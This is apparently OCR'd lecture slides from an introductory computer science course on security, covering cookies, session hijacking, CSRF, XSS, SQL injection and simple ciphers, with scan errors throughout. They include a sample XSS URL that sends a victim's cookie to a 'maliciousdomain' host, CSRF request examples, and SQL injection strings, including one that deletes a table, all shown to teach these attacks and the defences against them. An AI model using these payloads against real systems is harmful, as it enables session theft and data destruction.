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Security



Authentication



Cookies



Sessions



GET /home.php HTTP/I.1
Host: www.facebook.com
Cookie: PHPSESSID=5153d29ed84c4
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GET /home.php HTTP/I.1
Host: www.facebook.com
Cookie: PHPSESSID=5153d29ed84c4
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Session Hijacking



@ few packets.cap - Ethereal
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P Frame 16 (464 bytes on wire, 464 bytes captured) =
p Ethernet II, sSrc: 00:04:61:4a:1e:95, Dst: 00:0b:5d:20:¢d;02
p Internet pProtocol, sSrc addr: 162.168.0.10 (192.168.0.10), pst Addr: 192.168.0.2 (192.168,0.2)
b Transmisston control protocol, Src Port: 1242 (1242), ost pPort: BO (BO), Seq: 1404510824, Ack: 3661615105, Len: 410
7 Mypertext Transfer frotocol
P GET / MTTP/L.1\r\n
Host: 192.168.0.2\r\n
user-agent: Mozil113/5.0 (windows; U; Wwindows NT 5.0; en-uUs; rvil.$) Gecko/20031007r\n
Accept: text/wml,application/xml,application/xhtml+wm], text html; q=0.9, text/plain; g=0. 8, image/png, image/jpeq, image/gif;q=
Accept-Language: en-us,en;g=0.5\r\n
Accept-Encoding: gzip,deflate’\rin
AcCcepr-charset: IS0-8859-1,utf-8;qe0.7,%;q=0.7\r\n
keep-alive: 300%\r\n
connection: keep-alive\r\n
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HTTPS



Cryptography



GET /home.php HTTP/I.I Ew— ehosn9745t987gnlkjab
Host: www.facebook.com P 7@5uejfnjasdbfxb98@#



GET /home.php HTTP/I.I Ew— ehosn9745t987gnlkjab
Host: www.facebook.com P 7@5uejfnjasdbfxb98@#

ehosn9745t987gnlkjab
7@5uejfnjasdbfxb98@#

GET /home.php HTTP/I.|

Decrypt
Host: www.facebook.com



Wi-Fi Security



WEP, WPA, WPA2



CSRF



https://bank.com/money/transfer?
to=6/890&amount=100


https://bank.com/money/transfer?to=67890&amount=100
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https://bank.com/money/transfer?to=67890&amount=100
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HTTP Request (D CSRE Attack ®

GET HTTPM1.1 GET 'buy.php?symbol=SCOX&shares=1000 HTTP/1.1
Host: www.example.org Host: stocks.example.org

www.example.org Victim stocks.example.org

HTTP Response @

HTTP/1.1 200 OK
Content-Type: text’html
Content-Length: 1234

<html>

<img src="http://stocks.example.org/buy.php?symbol=SCOX&shares=1000" />

<'html>




Ka-Boom.



https://bank.com/money/transfer?

to=67890&amount=100&
token=8549ba934 | 7/cdef85


https://bank.com/money/transfer?to=67890&amount=100&
https://bank.com/money/transfer?to=67890&amount=100&
https://bank.com/money/transfer?to=67890&amount=100&
https://bank.com/money/transfer?to=67890&amount=100&

<input type="hidden"
name="csrfTokenHidden"
value="12345" id="csrfTokenHidden">
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XSS



<h|>Tommy</h|>



http://www.bigsafebank.com/search.asp?q=<script>
x=new Image;x.src = “http://maliciousdomain~~~/
hijackedsession.php?sessioncookie="+document.cookie;</script>




Ka-Boom.
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Databases



Name DOB Color Preference
Shocked Cat 3/17/2010 white indoor
Grumpy Cat 4/4/2012 white indoor
Keyboard Cat 1/1/1984 orange outdoor




SQL



SELECT name FROM cats



SELECT * from cats WHERE
preference = ‘indoor’



INSERT INTO cats
(name, dob, color, preference)
VALUES ('‘Maru’, 2008-06-01", ‘gray’, 'indoor’)



UPDATE cats SET name =
‘shocked’ WHERE name =‘Maru’



DELETE FROM cats
WHERE name = ‘Maru’



CRUD



Create
Read
Update
Delete




INSERT
SELECT
UPDATE
DELETE



SELECT * FROM profiles
WHERE username = ‘zuck’



| would like  cheeseburgers
cooked and

topped with



| would like 2 cheeseburgers
cooked medium-well and
topped with |lettuce.



| would like 2 cheeseburgers
cooked and then thrown at the
nearest customer’s head and
topped with |lettuce.



Injection



SELECT * FROM profiles
WHERE username =" ’



‘OR‘I’ =



SELECT * FROM profiles
WHERE username = ORI’ =)’



Ka-Boom.



Authentication



SELECT * FROM users
WHERE username ="

AND password =" ’



SELECT * FROM users
WHERE username = ‘rj’
AND password =” OR ‘|’ ="’



Ka-Boom.



s DELETE FROM profiles; --



SELECT * FROM profiles
WHERE username =°;
DELETE FROM profiles; --’






Sanitizing Input



SELECT * FROM profiles WHERE
username = '\ OR\'I\'=\'I"



Permissions
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Encrypting Text



Caesar Cipher



ABCDEFGHIJKLMNOPQRSTUVWXY Z
NOPQRSTUVWXYZABCDEFGHIJKLM



ROTI 3



banana



Oonanan



Brute-Force Attack



NOJ I



Vigenere Cipher



banana
+ 246246



banana
+ 246246
detcrg



banana
+ cegceg
detcrg



Plaintext: computer
Key: benr;



computer
+ benrjben



computer
+ benrjben
dszgduie



Symmetric-Key Cryptography



Plain-text input

“The quick
brown fox
jumps over
the lazy

dog,7

Encryption

Same key ii
‘/(shared secret)\*

Cipher-text Plain-text output

“The quick

“AxCv;5bmEseTfid3) brown fox
fGsmWe#4” , sdgfMwi jumps over
r3:dkJeTsY8R\s@!qg3 the lazy

0/0” dog”

Decryption




Asymmetric-Key Cryptography



Public/Private Keys



Thisis a %ﬁgiﬁg Thisis a
clear text 4)[ EnOl”ypt ]—)- —)-[ DCCI'ypt ] —  clear text

message chgm?WQ message
5 B/9yPZ5+ &

T Encrypted Message T

filios Bob’s Bob’s Bob

Public Key Private Key



Trapdoor One-Way Function



2459 * 8863 = 21794117



Factor 21794117



RSA



Diffie-Hellman



Computer Science E-|

Lecture 6: Security



